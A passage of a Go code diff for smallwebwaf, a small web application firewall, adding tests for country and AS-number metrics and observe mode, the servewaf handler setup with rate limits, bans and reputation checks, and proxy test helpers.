+	wantMetric(t, metrics,
+		`smallwebwaf_country_request_bytes_total{country="DE",instance="app"}`, 6)
+	wantMetric(t, metrics,
+		`smallwebwaf_country_response_bytes_total{country="KP",instance="app"}`,
+		float64(3*len("Forbidden\n")))
+	wantMetric(t, metrics,
+		`smallwebwaf_country_response_bytes_total{country="other",instance="app"}`,
+		float64(len("hello")))
+	wantNoSeries(t, metrics,
+		`smallwebwaf_country_requests_total{country="FR",instance="app"}`)
+
+	// Once FR is busier than DE, it takes DE's place: its series counts
+	// from then on, and DE's is gone.
+	send(fromFR, 3, http.StatusOK)
+
+	metrics = scrape(t, server.Addr)
+	wantMetric(t, metrics,
+		`smallwebwaf_country_requests_total{country="KP",instance="app"}`, 3)
+	wantMetric(t, metrics,
+		`smallwebwaf_country_requests_total{country="FR",instance="app"}`, 2)
+	wantMetric(t, metrics,
+		`smallwebwaf_country_requests_total{country="other",instance="app"}`, 2)
+	wantNoSeries(t, metrics,
+		`smallwebwaf_country_requests_total{country="DE",instance="app"}`)
+	wantNoSeries(t, metrics,
+		`smallwebwaf_country_request_bytes_total{country="DE",instance="app"}`)
+}
+
+func TestMetricsByASNumberKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
+	t.Parallel()
+
+	geojsURL, _ := startGeoJS(t)
+	s, clk, server := startWithClock(t, geojsURL, map[string]string{
+		metricsToken: token,
+		metricsTopN:  "1",
+	})
+
+	// The answers are kept before the requests, so that GeoJS gives none
+	// of its own. Each client is in an AS of its own.
+	answer := func(addr, asn string) lookup.Answer {
+		return lookup.Answer{
+			Client: netip.MustParsePrefix(addr + "/32"), ASN: asn,
+			Answered: clk.Now(), Used: clk.Now(),
+		}
+	}
+	server.GeoJS.Load([]lookup.Answer{
+		answer(fromDE, "AS64501"), answer(fromKP, "AS64502"),
+	})
+
+	// With one AS number of its own, the other is counted as other.
+	s.get(fromDE, http.StatusOK, requestlog.ActionForward)
+	s.get(fromDE, http.StatusOK, requestlog.ActionForward)
+	s.get(fromKP, http.StatusOK, requestlog.ActionForward)
+
+	metrics := s.scrape()
+	wantMetric(t, metrics,
+		`smallwebwaf_asn_requests_total{asn="AS64501",instance="app"}`, 2)
+	wantMetric(t, metrics,
+		`smallwebwaf_asn_requests_total{asn="other",instance="app"}`, 1)
+	wantMetric(t, metrics,
+		`smallwebwaf_asn_request_bytes_total{asn="AS64501",instance="app"}`, 0)
+	wantMetric(t, metrics,
+		`smallwebwaf_asn_response_bytes_total{asn="other",instance="app"}`, 0)
+	wantNoSeries(t, metrics,
+		`smallwebwaf_asn_requests_total{asn="AS64502",instance="app"}`)
+}
+
+func TestMetricsCountGeoJSRequestsAndFailures(t *testing.T) {
+	t.Parallel()
+
+	geojs := httptest.NewServer(http.HandlerFunc(
+		func(w http.ResponseWriter, _ *http.Request) {
+			w.WriteHeader(http.StatusServiceUnavailable)
+		}))
+	t.Cleanup(geojs.Close)
+
+	app := startApp(t, func(http.ResponseWriter, *http.Request) {})
+	addr, _, server := startProxyWithClock(t, app.URL, geojs.URL, time.Now,
+		map[string]string{
+			trustedProxies:  trustLocalhost,
+			metricsToken:    token,
+			deniedCountries: "kp",
+		})
+
+	// GeoJS fails, so the client counts as coming from an unknown country,
+	// which SWWAF_DENIED_COUNTRIES does not refuse.
+	req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
+	req.Header.Set(forwardedFor, fromDE)
+	wantStatus(t, do(t, req), http.StatusOK)
+
+	// The client stops waiting for GeoJS once SWWAF_LOOKUP_TIMEOUT is up, so
+	// GeoJS's failure can come after its request has ended.
+	deadline := time.Now().Add(waitLimit)
+	metrics := scrape(t, server.Addr)
+
+	for metric(t, metrics, `smallwebwaf_geojs_failures_total{instance="app"}`) == 0 &&
+		time.Now().Before(deadline) {
+		time.Sleep(pollInterval)
+
+		metrics = scrape(t, server.Addr)
+	}
+
+	wantMetric(t, metrics, `smallwebwaf_geojs_requests_total{instance="app"}`, 1)
+	wantMetric(t, metrics, `smallwebwaf_geojs_failures_total{instance="app"}`, 1)
+	wantMetric(t, metrics, `smallwebwaf_geojs_unanswered_total{instance="app"}`, 1)
+}
+
+// keptAnswer returns GeoJS's answer that the client at addr is in
+// country, given now.
+func keptAnswer(addr, country string) lookup.Answer {
+	now := time.Now()
+
+	return lookup.Answer{
+		Client: netip.MustParsePrefix(addr + "/32"), Country: country,
+		Answered: now, Used: now,
+	}
+}
+
+// scrape asks servewaf at addr for the metrics, with the token, and returns
+// them.
+func scrape(t *testing.T, addr string) string {
+	t.Helper()
+
+	req := newRequest(t, http.MethodGet, addr, servewaf.MetricsPath, http.NoBody)
+	req.Header.Set("Authorization", bearer)
+
+	got := do(t, req)
+	if got.status != http.StatusOK {
+		t.Fatalf("the metrics were answered %d", got.status)
+	}
+
+	return string(got.body)
+}
+
+// scrape asks for the metrics, with the token, and returns them.
+func (s *sender) scrape() string {
+	s.t.Helper()
+
+	return string(s.adminRequest(bearer, http.MethodGet, servewaf.MetricsPath, "",
+		http.StatusOK).body)
+}
+
+// metric returns the value of series in metrics, which are in the
+// Prometheus text format. series is a name and its labels in the order of
+// their names, such as
+// smallwebwaf_offences_total{instance="app",kind="limit"}. It fails the
+// test if there is no such series.
+func metric(t *testing.T, metrics, series string) float64 {
+	t.Helper()
+
+	for line := range strings.Lines(metrics) {
+		value, found := strings.CutPrefix(strings.TrimSuffix(line, "\n"), series+" ")
+		if !found {
+			continue
+		}
+
+		number, err := strconv.ParseFloat(value, 64)
+		if err != nil {
+			t.Fatalf("%s has the value %q", series, value)
+		}
+
+		return number
+	}
+
+	t.Fatalf("no series %s in the metrics:\n%s", series, metrics)
+
+	return 0
+}
+
+// wantMetric checks the value of series in metrics, as metric reads it.
+func wantMetric(t *testing.T, metrics, series string, want float64) {
+	t.Helper()
+
+	got := metric(t, metrics, series)
+	if got != want {
+		t.Errorf("%s is %v, want %v", series, got, want)
+	}
+}
+
+// wantNoSeries checks that metrics have no series series.
+func wantNoSeries(t *testing.T, metrics, series string) {
+	t.Helper()
+
+	if strings.Contains(metrics, "\n"+series+" ") {
+		t.Errorf("there is a series %s", series)
+	}
+}

internal/servewaf/observe_test.go

@@ -0,0 +1,140 @@
+package servewaf_test
+
+import (
+	"net/http"
+	"net/netip"
+	"reflect"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+)
+
+// observe is the value of SWWAF_MODE for observe mode.
+const observe = "observe"
+
+func TestObserveModeForwardsWhatEnforceModeRefuses(t *testing.T) {
+	t.Parallel()
+
+	const (
+		denied = "192.0.2.50" // in SWWAF_DENY_NETS
+		banned = otherClient  // under a ban read from bans.json
+	)
+
+	for _, tc := range []struct {
+		setting string // "" leaves SWWAF_MODE at its default
+		observe bool
+	}{
+		{"", false},
+		{"enforce", false},
+		{observe, true},
+	} {
+		t.Run(mode+"="+tc.setting, func(t *testing.T) {
+			t.Parallel()
+
+			geojsURL, _ := startGeoJS(t)
+			env := map[string]string{
+				lookupTimeout:      "1h",
+				rateLimitPerMinute: "1",
+				denyNets:           denied,
+				deniedCountries:    "kp",
+			}
+
+			if tc.setting != "" {
+				env[mode] = tc.setting
+			}
+
+			s, clk, server := startWithClock(t, geojsURL, env)
+			server.Ledger.Load([]bans.Ban{{
+				Netblock: netip.MustParsePrefix(banned + "/32"),
+				Start:    clk.Now(),
+				Expires:  clk.Now().Add(time.Hour),
+			}})
+
+			// fromDE's first request is within the limit of one a minute,
+			// and its second breaks it.
+			s.get(fromDE, http.StatusOK, requestlog.ActionForward)
+
+			for _, sent := range []struct{ from, refusal string }{
+				{denied, requestlog.ActionDenied},
+				{banned, requestlog.ActionBanned},
+				{fromKP, requestlog.ActionCountryDenied},
+				{fromDE, requestlog.ActionRateLimited},
+			} {
+				if !tc.observe {
+					line := s.get(sent.from, http.StatusForbidden, sent.refusal)
+					wantWouldAction(t, line, "")
+
+					continue
+				}
+
+				// Passed to the app, which answered it.
+				line := s.get(sent.from, http.StatusOK, requestlog.ActionForward)
+				wantWouldAction(t, line, sent.refusal)
+			}
+		})
+	}
+}
+
+func TestObserveModeMakesNoBanAndKeepsTheBansItHas(t *testing.T) {
+	t.Parallel()
+
+	s, clk, server := startWithClock(t, "", map[string]string{
+		mode:               observe,
+		rateLimitPerMinute: "1",
+	})
+	kept := bans.Ban{
+		Netblock: netip.MustParsePrefix(otherClient + "/32"),
+		Start:    clk.Now(),
+		Expires:  clk.Now().Add(time.Hour),
+		Cause:    bans.CauseAdmin,
+	}
+	server.Ledger.Load([]bans.Ban{kept})
+
+	// No ban sets client's counters back to zero, so each request after
+	// the first breaks the limit of one a minute.
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+
+	for range 2 {
+		line := s.get(client, http.StatusOK, requestlog.ActionForward)
+		wantWouldAction(t, line, requestlog.ActionRateLimited)
+
+		if line.LimitHit != minute || line.Offence != requestlog.OffenceLimit ||
+			line.BanExpires != "" {
+			t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
+				"want minute, limit and none", line.LimitHit, line.Offence,
+				line.BanExpires)
+		}
+	}
+
+	// The ban read from bans.json refuses nothing, and so counts no
+	// refusal in its notes, but is kept.
+	line := s.get(otherClient, http.StatusOK, requestlog.ActionForward)
+	wantWouldAction(t, line, requestlog.ActionBanned)
+
+	if line.BanExpires != requestlog.FormatTime(kept.Expires) {
+		t.Errorf("log line has ban_expires %q, want %s", line.BanExpires,
+			requestlog.FormatTime(kept.Expires))
+	}
+
+	got := server.Ledger.Snapshot()
+	if len(got) != 1 || !reflect.DeepEqual(got[0], kept) {
+		t.Errorf("bans\n%+v\nwant only\n%+v", got, kept)
+	}
+}
+
+// wantWouldAction checks the request log line's would_action, and that a
+// line that should have none has no such field.
+func wantWouldAction(t *testing.T, line logLine, want string) {
+	t.Helper()
+
+	got, present := line.fields["would_action"]
+
+	switch {
+	case want == "" && present:
+		t.Errorf("log line has would_action %v, want none", got)
+	case want != "" && got != want:
+		t.Errorf("log line has would_action %v, want %s", got, want)
+	}
+}

internal/servewaf/proxy.go

@@ -0,0 +1,252 @@
+// Package servewaf is the server the servewaf command runs. It answers rproxy's
+// questions, takes rproxy's reports and answers its own endpoints, and writes a
+// log line for each.
+package servewaf
+
+import (
+	"io"
+	"log/slog"
+	"net/http"
+	"time"
+
+	lru "github.com/hashicorp/golang-lru/v2"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/anomaly"
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/config"
+	"sneak.berlin/go/smallwebwaf/internal/lookup"
+	"sneak.berlin/go/smallwebwaf/internal/metrics"
+	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+	"sneak.berlin/go/smallwebwaf/internal/reputation"
+	"sneak.berlin/go/smallwebwaf/internal/rules"
+	"sneak.berlin/go/smallwebwaf/internal/waf"
+)
+
+// adminPrefix starts the path of each of servewaf's own endpoints. The app never
+// sees a path under it.
+const adminPrefix = "/_smallwebwaf/"
+
+// HealthPath is the health endpoint of servewaf and of rproxy, which the
+// container's health check asks.
+const HealthPath = "/_smallwebwaf/healthz"
+
+// MetricsPath is where the metrics are, for a request that carries
+// SWWAF_METRICS_TOKEN.
+const MetricsPath = "/_smallwebwaf/metrics"
+
+// BansPath is where an admin lists and adds bans, and, followed by / and
+// a client's address, lifts them, with SWWAF_ADMIN_TOKEN.
+const BansPath = "/_smallwebwaf/bans"
+
+// ClientsPath is where an admin asks what servewaf knows of a client, by the
+// client's address after it, with SWWAF_ADMIN_TOKEN.
+const ClientsPath = "/_smallwebwaf/clients/"
+
+// Params are what New needs.
+type Params struct {
+	Config *config.Config
+	// RequestLog receives two JSON lines per question, one at its decision and
+	// one when its report comes, and one per request to servewaf's own endpoints.
+	RequestLog io.Writer
+	// ProcessLog receives the process's own messages.
+	ProcessLog *slog.Logger
+	// GeoJSURL is where clients' AS numbers and countries are looked up
+	// while SWWAF_LOOKUP_SOURCE is geojs, normally lookup.URL.
+	GeoJSURL string
+	// AbuseIPDBURL is where clients are checked with AbuseIPDB while
+	// SWWAF_ABUSEIPDB_KEY is set, normally reputation.AbuseIPDBURL.
+	AbuseIPDBURL string
+	// LookupFile is the lookup database they are looked up in while
+	// SWWAF_LOOKUP_SOURCE is file, and nil otherwise.
+	LookupFile *lookup.File
+	// Now tells the time by which requests are counted for the rate
+	// limits, bans are made and run out, and GeoJS's answers are kept,
+	// normally time.Now in UTC, the time the state files give.
+	Now func() time.Time
+	// Rules are the rule files' rules, which each request is checked
+	// against.
+	Rules *rules.Files
+	// Alerts receive the alert for each ban servewaf makes or makes
+	// permanent, for each count over an anomaly threshold, for each request
+	// whose client a blocklist, the CrowdSec decision list, a DNSBL zone or
+	// AbuseIPDB lists, for each request the Core Rule Set scores at or over
+	// SWWAF_WAF_ANOMALY_THRESHOLD, and for GeoJS failing, a fetch of a list
+	// failing, a query to a DNSBL zone or a check with AbuseIPDB failing,
+	// or the day's AbuseIPDB checks used up.
+	Alerts *alerts.Queue
+}
+
+// Server is the server servewaf runs, with the parts whose state the state
+// files keep, the lookup database, nil unless SWWAF_LOOKUP_SOURCE is file, the
+// lists fetched from URLs, which its Run fetches, the DNSBL zones' verdicts,
+// AbuseIPDB's scores and checks spent, and the metrics.
+type Server struct {
+	*http.Server
+
+	Ledger     *bans.Ledger
+	Limiter    *ratelimit.Limiter
+	GeoJS      *lookup.GeoJS
+	Anomalies  *anomaly.Counters
+	LookupFile *lookup.File
+	Lists      *reputation.Lists
+	DNSBL      *reputation.DNSBL
+	AbuseIPDB  *reputation.AbuseIPDB
+	Metrics    *metrics.Metrics
+}
+
+// newHandler returns the handler with what every request shares, as the
+// settings in params make it.
+func newHandler(params Params) *handler {
+	m := metrics.New(params.Config.MetricsTopN, params.Config.InstanceName)
+	lists, dnsbl, abuseIPDB := newReputation(params, m)
+
+	awaitingReport, err := lru.New[string, *decision](maxAwaitingReport)
+	if err != nil {
+		panic(err) // New fails only for a size below one
+	}
+
+	h := &handler{
+		config:         params.Config,
+		requestLog:     params.RequestLog,
+		processLog:     params.ProcessLog,
+		now:            params.Now,
+		metrics:        m,
+		awaitingReport: awaitingReport,
+		limiter: ratelimit.New(ratelimit.Limits{
+			PerMinute:      params.Config.RateLimitPerMinute,
+			PerHour:        params.Config.RateLimitPerHour,
+			PerDay:         params.Config.RateLimitPerDay,
+			BytesPerMinute: params.Config.BytesLimitPerMinute,
+			BytesPerHour:   params.Config.BytesLimitPerHour,
+			BytesPerDay:    params.Config.BytesLimitPerDay,
+		}, params.Config.MaxTrackedClients),
+		ledger: bans.New(bans.Rules{
+			LimitBanDuration:     params.Config.LimitBanDuration,
+			LimitBanRepeatWindow: params.Config.LimitBanRepeatWindow,
+			MaxBanDuration:       params.Config.MaxBanDuration,
+			AttackBanDuration:    params.Config.AttackBanDuration,
+			MaxBans:              params.Config.MaxBans,
+		}),
+		anomalies: anomaly.New(anomaly.Params{
+			Client:         params.Config.AnomalyClient,
+			Net:            params.Config.AnomalyNet,
+			ASN:            params.Config.AnomalyASN,
+			Total:          params.Config.AnomalyTotal,
+			Watch:          params.Config.AnomalyWatch,
+			NetV4Prefix:    params.Config.AnomalyNetV4Prefix,
+			NetV6Prefix:    params.Config.AnomalyNetV6Prefix,
+			NamedNetblocks: params.Config.WatchNets,
+			Alerts:         params.Alerts,
+		}),
+		lookupFile:  params.LookupFile,
+		lists:       lists,
+		dnsbl:       dnsbl,
+		abuseIPDB:   abuseIPDB,
+		rules:       params.Rules,
+		coreRuleSet: newCoreRuleSet(params.Config),
+		alerts:      params.Alerts,
+	}
+	h.geojs = lookup.New(lookup.Params{
+		URL:     params.GeoJSURL,
+		Timeout: params.Config.LookupTimeout,
+		// The country lists, the headers and the biased thresholds act on
+		// the answer before the request goes on.
+		Wait: len(params.Config.DeniedCountries) > 0 ||
+			len(params.Config.ExclusivelyAllowedCountries) > 0 ||
+			params.Config.AddLookupHeaders || biasedThresholdsSet(params.Config),
+		Answered:   h.addLookup,
+		Now:        params.Now,
+		ProcessLog: params.ProcessLog,
+		Metrics:    m,
+		Alerts:     params.Alerts,
+	})
+	m.AddBansAndClients(h.ledger, h.limiter, params.Now)
+	m.AddRules(params.Rules)
+
+	return h
+}
+
+// newReputation returns the lists fetched from URLs, the DNSBL zones'
+// verdicts and AbuseIPDB's scores, as the settings in params name them,
+// with none fetched, asked for or checked yet, and adds their metrics to
+// m, AbuseIPDB's while SWWAF_ABUSEIPDB_KEY is set.
+func newReputation(
+	params Params, m *metrics.Metrics,
+) (*reputation.Lists, *reputation.DNSBL, *reputation.AbuseIPDB) {
+	cfg := params.Config
+	lists := reputation.New(reputation.Params{
+		BlocklistURLs: cfg.BlocklistURLs, Refresh: cfg.BlocklistRefresh,
+		ASNLimitPercentURL:   cfg.ASNLimitPercentURL,
+		CrowdSecDecisionsURL: cfg.CrowdSecDecisionsURL, CrowdSecKey: cfg.CrowdSecKey,
+		Now: params.Now, ProcessLog: params.ProcessLog, Alerts: params.Alerts,
+	})
+	dnsbl := reputation.NewDNSBL(reputation.DNSBLParams{
+		Zones: cfg.DNSBLZones, Resolver: cfg.DNSBLResolver, CacheTTL: cfg.ReputationCacheTTL,
+		Timeout: cfg.ReputationTimeout, Now: params.Now, ProcessLog: params.ProcessLog,
+		Alerts: params.Alerts,
+	})
+	abuseIPDB := reputation.NewAbuseIPDB(reputation.AbuseIPDBParams{
+		URL: params.AbuseIPDBURL, Key: cfg.AbuseIPDBKey, MinScore: cfg.AbuseIPDBMinScore,
+		DailyBudget: cfg.AbuseIPDBDailyBudget, CacheTTL: cfg.ReputationCacheTTL,
+		Timeout: cfg.ReputationTimeout, Now: params.Now, ProcessLog: params.ProcessLog,
+		Alerts: params.Alerts,
+	})
+
+	m.AddReputation(lists, dnsbl)
+
+	if cfg.AbuseIPDBKey != "" {
+		m.AddAbuseIPDB(abuseIPDB)
+	}
+
+	return lists, dnsbl, abuseIPDB
+}
+
+// newCoreRuleSet returns the Core Rule Set at SWWAF_WAF_PARANOIA_LEVEL,
+// without the rules SWWAF_WAF_DISABLED_RULES switches off, reading bodies
+// up to SWWAF_WAF_BODY_LIMIT, or nil while SWWAF_WAF_MODE is off. It reads at
+// most QuestionBodyMaxBytes less one byte: a question's body of
+// QuestionBodyMaxBytes may be cut short, and the Core Rule Set does not read a
+// JSON or XML body over its limit.
+func newCoreRuleSet(cfg *config.Config) *waf.CoreRuleSet {
+	if cfg.WAFMode == config.WAFModeOff {
+		return nil
+	}
+
+	coreRuleSet, err := waf.New(waf.Params{
+		ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules,
+		BodyLimit: min(cfg.WAFBodyLimit, QuestionBodyMaxBytes-1),
+	})
+	if err != nil {
+		// The Core Rule Set is built in, and the settings cannot break it:
+		// the paranoia level is from 1 to 4, and the id of no rule switches
+		// nothing off.
+		panic(err)
+	}
+
+	return coreRuleSet
+}
+
+// handler is servewaf's handler. It holds what every request shares; what
+// belongs to one request is in a request.
+type handler struct {
+	config      *config.Config
+	requestLog  io.Writer
+	processLog  *slog.Logger
+	now         func() time.Time
+	metrics     *metrics.Metrics
+	limiter     *ratelimit.Limiter
+	ledger      *bans.Ledger
+	geojs       *lookup.GeoJS
+	anomalies   *anomaly.Counters
+	lookupFile  *lookup.File
+	lists       *reputation.Lists
+	dnsbl       *reputation.DNSBL
+	abuseIPDB   *reputation.AbuseIPDB
+	rules       *rules.Files
+	coreRuleSet *waf.CoreRuleSet
+	alerts      *alerts.Queue
+	// awaitingReport holds the decision on each answered question by its id
+	// until its report comes, and nil for a question still being handled.
+	awaitingReport *lru.Cache[string, *decision]
+}

internal/servewaf/proxy_test.go

@@ -0,0 +1,602 @@
+package servewaf_test
+
+import (
+	"bufio"
+	"bytes"
+	"encoding/json"
+	"io"
+	"log/slog"
+	"maps"
+	"net"
+	"net/http"
+	"net/http/httptest"
+	"strings"
+	"sync"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/config"
+	"sneak.berlin/go/smallwebwaf/internal/lookup"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/rproxy"
+	"sneak.berlin/go/smallwebwaf/internal/rules"
+	"sneak.berlin/go/smallwebwaf/internal/servewaf"
+)
+
+const (
+	// waitLimit bounds how long a test waits for what should happen.
+	waitLimit = 10 * time.Second
+	// pollInterval is how often a test looks for a log line.
+	pollInterval = 10 * time.Millisecond
+	// localhost is where every test server listens, and so the address rproxy
+	// sees each test's requests come from.
+	localhost = "127.0.0.1"
+	// requestType is the type that marks a request log line.
+	requestType = "request"
+	// protocol is the protocol of every question.
+	protocol = "HTTP/1.1"
+	// trustLocalhost trusts the address every test connects from, and a
+	// network for proxies in front of it.
+	trustLocalhost = localhost + "/32,10.0.0.0/8"
+	// appHost is the host every test asks for.
+	appHost = "app.example"
+	// client is the client's address, as a proxy names it.
+	client = "203.0.113.9"
+	// forwardedFor is the header that lists the client and its proxies,
+	// and forwardedProto the one that gives the scheme the client used.
+	forwardedFor   = "X-Forwarded-For"
+	forwardedProto = "X-Forwarded-Proto"
+	// secure is the scheme a client reached traefik with, and plain the one
+	// rproxy serves.
+	secure = "https"
+	plain  = "http"
+)
+
+// The settings the tests set.
+const (
+	mode                 = "SWWAF_MODE"
+	trustedProxies       = "SWRP_TRUSTED_PROXIES"
+	ipv6GroupPrefix      = "SWWAF_IPV6_GROUP_PREFIX"
+	maxTrackedClients    = "SWWAF_MAX_TRACKED_CLIENTS"
+	allowNets            = "SWWAF_ALLOW_NETS"
+	rateLimitExemptNets  = "SWWAF_RATE_LIMIT_EXEMPT_NETS"
+	denyNets             = "SWWAF_DENY_NETS"
+	rateLimitPerMinute   = "SWWAF_RATE_LIMIT_PER_MINUTE"
+	rateLimitPerDay      = "SWWAF_RATE_LIMIT_PER_DAY"
+	rateLimitExemptPaths = "SWWAF_RATE_LIMIT_EXEMPT_PATHS"
+	lookupSource         = "SWWAF_LOOKUP_SOURCE"
+	lookupDBPath         = "SWWAF_LOOKUP_DB_PATH"
+	lookupTimeout        = "SWWAF_LOOKUP_TIMEOUT"
+	addLookupHeaders     = "SWWAF_ADD_LOOKUP_HEADERS"
+	deniedCountries      = "SWWAF_DENIED_COUNTRIES"
+	allowedCountries     = "SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES"
+	banResponse          = "SWWAF_BAN_RESPONSE"
+	limitBanDuration     = "SWWAF_LIMIT_BAN_DURATION"
+	limitBanRepeatWindow = "SWWAF_LIMIT_BAN_REPEAT_WINDOW"
+	maxBanDuration       = "SWWAF_MAX_BAN_DURATION"
+	maxBans              = "SWWAF_MAX_BANS"
+	banScopeV4Prefix     = "SWWAF_BAN_SCOPE_V4_PREFIX"
+	instanceName         = "SWWAF_INSTANCE_NAME"
+	logRequestHeaders    = "SWWAF_LOG_REQUEST_HEADERS"
+	attackBanDuration    = "SWWAF_ATTACK_BAN_DURATION"
+	rulesDir             = "SWWAF_RULES_DIR"
+	wafMode              = "SWWAF_WAF_MODE"
+)
+
+// off is the value that switches a setting off.
+const off = "off"
+
+// on is the value that switches a setting that takes true or false on.
+const on = "true"
+
+// output collects what smallwebwaf writes on stdout.
+type output struct {
+	mu  sync.Mutex
+	buf bytes.Buffer
+}
+
+// Write adds lines smallwebwaf writes.
+func (o *output) Write(p []byte) (int, error) {
+	o.mu.Lock()
+	defer o.mu.Unlock()
+
+	return o.buf.Write(p)
+}
+
+// text returns everything written so far.
+func (o *output) text() string {
+	o.mu.Lock()
+	defer o.mu.Unlock()
+
+	return o.buf.String()
+}
+
+// lines returns every line written so far, decoded.
+func (o *output) lines(t *testing.T) []map[string]any {
+	t.Helper()
+	o.mu.Lock()
+	defer o.mu.Unlock()
+
+	var lines []map[string]any
+
+	for text := range strings.Lines(o.buf.String()) {
+		var line map[string]any
+
+		err := json.Unmarshal([]byte(text), &line)
+		if err != nil {
+			t.Fatalf("output line %q is not JSON: %v", text, err)
+		}
+
+		lines = append(lines, line)
+	}
+
+	return lines
+}
+
+// logLine is a request log line, as typed fields and as the JSON object
+// it was written as.
+type logLine struct {
+	requestlog.Line
+
+	fields map[string]any
+}
+
+// requestLines waits for count request log lines and returns them.
+func (o *output) requestLines(t *testing.T, count int) []logLine {
+	t.Helper()
+
+	deadline := time.Now().Add(waitLimit)
+	for time.Now().Before(deadline) {
+		var found []logLine
+
+		for _, fields := range o.lines(t) {
+			if fields["type"] == requestType {
+				found = append(found, decodeLine(t, fields))
+			}
+		}
+
+		if len(found) >= count {
+			return found
+		}
+
+		time.Sleep(pollInterval)
+	}
+
+	t.Fatalf("fewer than %d request log lines after %s", count, waitLimit)
+
+	return nil
+}
+
+// requestLine waits for the request log line of a test's one request.
+func (o *output) requestLine(t *testing.T) logLine {
+	t.Helper()
+
+	return o.requestLines(t, 1)[0]
+}
+
+// endedLines waits for count requests that went through rproxy, or to servewaf's
+// own endpoints, to have ended, and returns the last log line of each, in the
+// order servewaf took them. A question's last line is the one its report writes.
+func (o *output) endedLines(t *testing.T, count int) []logLine {
+	t.Helper()
+
+	deadline := time.Now().Add(waitLimit)
+	for time.Now().Before(deadline) {
+		found := o.lastLines(t)
+
+		ended := len(found) >= count
+		for _, line := range found[:min(count, len(found))] {
+			if line.ServeWAFLine == requestlog.ServeWAFLineDecision {
+				ended = false
+			}
+		}
+
+		if ended {
+			return found
+		}
+
+		time.Sleep(pollInterval)
+	}
+
+	t.Fatalf("fewer than %d requests have ended after %s", count, waitLimit)
+
+	return nil
+}
+
+// lastLines returns the last request log line written so far of each request,
+// in the order servewaf took them.
+func (o *output) lastLines(t *testing.T) []logLine {
+	t.Helper()
+
+	var found []logLine
+
+	places := map[string]int{}
+
+	for _, fields := range o.lines(t) {
+		if fields["type"] != requestType {
+			continue
+		}
+
+		line := decodeLine(t, fields)
+
+		place, seen := places[line.RequestID]
+		if seen {
+			found[place] = line
+
+			continue
+		}
+
+		places[line.RequestID] = len(found)
+		found = append(found, line)
+	}
+
+	return found
+}
+
+// endedLine waits for a test's one request to have ended, and returns its last
+// log line.
+func (o *output) endedLine(t *testing.T) logLine {
+	t.Helper()
+
+	return o.endedLines(t, 1)[0]
+}
+
+// decodeLine reads a request log line's fields into a logLine.
+func decodeLine(t *testing.T, fields map[string]any) logLine {
+	t.Helper()
+
+	encoded, err := json.Marshal(fields)
+	if err != nil {
+		t.Fatalf("encode %v: %v", fields, err)
+	}
+
+	line := logLine{fields: fields}
+
+	err = json.Unmarshal(encoded, &line.Line)
+	if err != nil {
+		t.Fatalf("decode %s: %v", encoded, err)
+	}
+
+	return line
+}
+
+// startApp starts app as the app rproxy passes requests to.
+func startApp(t *testing.T, app http.HandlerFunc) *httptest.Server {
+	t.Helper()
+
+	server := httptest.NewServer(app)
+	t.Cleanup(server.Close)
+
+	return server
+}
+
+// startProxy starts servewaf, and rproxy in front of the app at appURL, each with
+// the settings in env on top of the defaults, and returns where rproxy listens
+// and what servewaf writes.
+func startProxy(t *testing.T, appURL string, env map[string]string) (string, *output) {
+	t.Helper()
+
+	return startProxyWithGeoJS(t, appURL, "", env)
+}
+
+// startProxyWithGeoJS is startProxy with clients' AS numbers and
+// countries looked up at geojsURL.
+func startProxyWithGeoJS(
+	t *testing.T, appURL, geojsURL string, env map[string]string,
+) (string, *output) {
+	t.Helper()
+
+	addr, out, _ := startProxyWithClock(t, appURL, geojsURL, time.Now, env)
+
+	return addr, out
+}
+
+// startProxyWithClock is startProxyWithGeoJS with requests counted and
+// bans made by the time now tells, and returns servewaf's server as well, whose
+// Addr is where servewaf listens. Unless env sets SWWAF_RULES_DIR, it is an empty
+// directory, of no rules, and unless it sets SWWAF_INSTANCE_NAME, that is app,
+// the label instance of every metric.
+func startProxyWithClock(
+	t *testing.T, appURL, geojsURL string, now func() time.Time,
+	env map[string]string,
+) (string, *output, *servewaf.Server) {
+	t.Helper()
+
+	addr, out, server, _ := startProxyWithAlerts(t, appURL, geojsURL, now, env)
+
+	return addr, out, server
+}
+
+// startProxyWithAlerts is startProxyWithClock, and returns the queue of
+// the alerts servewaf raises as well, as newServeWAF makes them.
+func startProxyWithAlerts(
+	t *testing.T, appURL, geojsURL string, now func() time.Time,
+	env map[string]string,
+) (string, *output, *servewaf.Server, *alerts.Queue) {
+	t.Helper()
+
+	server, out, alertQueue := newServeWAF(t, geojsURL, now, env)
+	serve(t, server)
+
+	return startRProxy(t, server.Addr, appURL, env), out, server, alertQueue
+}
+
+// serve serves server on a port of its own until the test ends, and sets its
+// Addr to where it listens.
+func serve(t *testing.T, server *servewaf.Server) {
+	t.Helper()
+
+	listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
+	if err != nil {
+		t.Fatalf("listen: %v", err)
+	}
+
+	server.Addr = listener.Addr().String()
+
+	go func() {
+		_ = server.Serve(listener)
+	}()
+
+	t.Cleanup(func() {
+		_ = server.Close()
+	})
+}
+
+// startRProxy starts rproxy in front of the app at appURL, asking the servewaf
+// at serveWAFAddr, with the settings in env on top of the defaults, and returns
+// where it listens. What it writes is dropped. SWRP_TIMEOUT_MS is a minute unless
+// env sets it, so that on a busy host SWRP_DEFAULT_DISPOSITION does not decide.
+func startRProxy(
+	t *testing.T, serveWAFAddr, appURL string, env map[string]string,
+) string {
+	t.Helper()
+
+	settings := map[string]string{
+		"SWRP_WAF_BACKEND":  "http://" + serveWAFAddr,
+		"SWRP_UPSTREAM_URL": appURL,
+		"SWRP_TIMEOUT_MS":   "60000",
+	}
